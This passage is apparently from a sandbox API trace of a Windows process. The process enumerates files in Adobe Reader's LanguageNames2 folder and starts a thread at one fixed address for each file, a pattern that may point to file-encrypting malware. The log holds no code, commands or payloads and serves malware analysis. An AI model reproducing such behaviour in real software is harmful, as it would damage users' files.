cAlternateFileName="DI3F41~1.TXT")) returned 1 [0227.279] wcscmp (_String1="DisplayLanguageNames.ar_IQ.txt", _String2=".") returned 1 [0227.279] wcscmp (_String1="DisplayLanguageNames.ar_IQ.txt", _String2="..") returned 1 [0227.279] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1cecf860 [0227.280] wcscpy (in: _Dest=0x1cecf860, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.280] wcscat (in: _Dest=0x1cecf860, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.280] wcscat (in: _Dest=0x1cecf860, _Source="DisplayLanguageNames.ar_IQ.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_IQ.txt" [0227.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cecf860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2790 [0227.281] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_JO.txt", cAlternateFileName="DI0622~1.TXT")) returned 1 [0227.281] wcscmp (_String1="DisplayLanguageNames.ar_JO.txt", _String2=".") returned 1 [0227.281] wcscmp (_String1="DisplayLanguageNames.ar_JO.txt", _String2="..") returned 1 [0227.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1cecf780 [0227.281] wcscpy (in: _Dest=0x1cecf780, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.281] wcscat (in: _Dest=0x1cecf780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.281] wcscat (in: _Dest=0x1cecf780, _Source="DisplayLanguageNames.ar_JO.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_JO.txt" [0227.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cecf780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0227.282] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_KW.txt", cAlternateFileName="DIF6C4~1.TXT")) returned 1 [0227.282] wcscmp (_String1="DisplayLanguageNames.ar_KW.txt", _String2=".") returned 1 [0227.282] wcscmp (_String1="DisplayLanguageNames.ar_KW.txt", _String2="..") returned 1 [0227.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1ced0660 [0227.282] wcscpy (in: _Dest=0x1ced0660, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.282] wcscat (in: _Dest=0x1ced0660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.300] wcscat (in: _Dest=0x1ced0660, _Source="DisplayLanguageNames.ar_KW.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt" [0227.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ced0660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178c [0227.308] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_LB.txt", cAlternateFileName="DI621E~1.TXT")) returned 1 [0227.308] wcscmp (_String1="DisplayLanguageNames.ar_LB.txt", _String2=".") returned 1 [0227.308] wcscmp (_String1="DisplayLanguageNames.ar_LB.txt", _String2="..") returned 1 [0227.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43157360 [0227.308] wcscpy (in: _Dest=0x43157360, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.308] wcscat (in: _Dest=0x43157360, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.308] wcscat (in: _Dest=0x43157360, _Source="DisplayLanguageNames.ar_LB.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" [0227.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43157360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe50 [0227.309] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_LY.txt", cAlternateFileName="DID7B2~1.TXT")) returned 1 [0227.309] wcscmp (_String1="DisplayLanguageNames.ar_LY.txt", _String2=".") returned 1 [0227.309] wcscmp (_String1="DisplayLanguageNames.ar_LY.txt", _String2="..") returned 1 [0227.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43156d40 [0227.310] wcscpy (in: _Dest=0x43156d40, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.310] wcscat (in: _Dest=0x43156d40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.310] wcscat (in: _Dest=0x43156d40, _Source="DisplayLanguageNames.ar_LY.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LY.txt" [0227.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43156d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ec [0227.310] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3d9d80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_MA.txt", cAlternateFileName="DIEC69~1.TXT")) returned 1 [0227.310] wcscmp (_String1="DisplayLanguageNames.ar_MA.txt", _String2=".") returned 1 [0227.310] wcscmp (_String1="DisplayLanguageNames.ar_MA.txt", _String2="..") returned 1 [0227.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43157c20 [0227.311] wcscpy (in: _Dest=0x43157c20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.311] wcscat (in: _Dest=0x43157c20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.311] wcscat (in: _Dest=0x43157c20, _Source="DisplayLanguageNames.ar_MA.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_MA.txt" [0227.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43157c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1038 [0227.312] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_OM.txt", cAlternateFileName="DIC553~1.TXT")) returned 1 [0227.312] wcscmp (_String1="DisplayLanguageNames.ar_OM.txt", _String2=".") returned 1 [0227.312] wcscmp (_String1="DisplayLanguageNames.ar_OM.txt", _String2="..") returned 1 [0227.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x431570c0 [0227.312] wcscpy (in: _Dest=0x431570c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.312] wcscat (in: _Dest=0x431570c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.312] wcscat (in: _Dest=0x431570c0, _Source="DisplayLanguageNames.ar_OM.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" [0227.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431570c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1888 [0227.313] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_QA.txt", cAlternateFileName="DI2F38~1.TXT")) returned 1 [0227.313] wcscmp (_String1="DisplayLanguageNames.ar_QA.txt", _String2=".") returned 1 [0227.313] wcscmp (_String1="DisplayLanguageNames.ar_QA.txt", _String2="..") returned 1 [0227.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43157d00 [0227.313] wcscpy (in: _Dest=0x43157d00, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.313] wcscat (in: _Dest=0x43157d00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.313] wcscat (in: _Dest=0x43157d00, _Source="DisplayLanguageNames.ar_QA.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_QA.txt" [0227.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43157d00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0227.317] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SA.txt", cAlternateFileName="DI48AF~1.TXT")) returned 1 [0227.317] wcscmp (_String1="DisplayLanguageNames.ar_SA.txt", _String2=".") returned 1 [0227.317] wcscmp (_String1="DisplayLanguageNames.ar_SA.txt", _String2="..") returned 1 [0227.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43156800 [0227.318] wcscpy (in: _Dest=0x43156800, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.318] wcscat (in: _Dest=0x43156800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.318] wcscat (in: _Dest=0x43156800, _Source="DisplayLanguageNames.ar_SA.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SA.txt" [0227.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43156800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdfc [0227.319] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SD.txt", cAlternateFileName="DIC7AF~1.TXT")) returned 1 [0227.319] wcscmp (_String1="DisplayLanguageNames.ar_SD.txt", _String2=".") returned 1 [0227.319] wcscmp (_String1="DisplayLanguageNames.ar_SD.txt", _String2="..") returned 1 [0227.319] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43156720 [0227.319] wcscpy (in: _Dest=0x43156720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.319] wcscat (in: _Dest=0x43156720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.320] wcscat (in: _Dest=0x43156720, _Source="DisplayLanguageNames.ar_SD.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SD.txt" [0227.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43156720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x904 [0227.320] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SY.txt", cAlternateFileName="DID7BE~1.TXT")) returned 1 [0227.320] wcscmp (_String1="DisplayLanguageNames.ar_SY.txt", _String2=".") returned 1 [0227.320] wcscmp (_String1="DisplayLanguageNames.ar_SY.txt", _String2="..") returned 1 [0227.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43157a60 [0227.321] wcscpy (in: _Dest=0x43157a60, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.321] wcscat (in: _Dest=0x43157a60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.321] wcscat (in: _Dest=0x43157a60, _Source="DisplayLanguageNames.ar_SY.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_SY.txt" [0227.321] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43157a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f4 [0227.322] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_TN.txt", cAlternateFileName="DI7175~1.TXT")) returned 1 [0227.322] wcscmp (_String1="DisplayLanguageNames.ar_TN.txt", _String2=".") returned 1 [0227.322] wcscmp (_String1="DisplayLanguageNames.ar_TN.txt", _String2="..") returned 1 [0227.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x431569c0 [0227.322] wcscpy (in: _Dest=0x431569c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.322] wcscat (in: _Dest=0x431569c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.322] wcscat (in: _Dest=0x431569c0, _Source="DisplayLanguageNames.ar_TN.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_TN.txt" [0227.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431569c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0c [0227.323] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_YE.txt", cAlternateFileName="DIE8B6~1.TXT")) returned 1 [0227.323] wcscmp (_String1="DisplayLanguageNames.ar_YE.txt", _String2=".") returned 1 [0227.323] wcscmp (_String1="DisplayLanguageNames.ar_YE.txt", _String2="..") returned 1 [0227.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x431576e0 [0227.323] wcscpy (in: _Dest=0x431576e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2" [0227.323] wcscat (in: _Dest=0x431576e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\" [0227.323] wcscat (in: _Dest=0x431576e0, _Source="DisplayLanguageNames.ar_YE.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_YE.txt" [0227.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431576e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2370 [0227.324] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x20502ef0 | out: lpFindFileData=0x20502ef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.bg.txt", cAlternateFileName="DI8E5A~1.TXT")) returned 1 [0227.324] wcscmp (_String1="DisplayLanguageNames.bg.txt", _String2=".") returned 1 [0227.324] wcscmp (_String1="DisplayLanguageNames.bg.txt", _String2="..") returned 1 [0227.324] 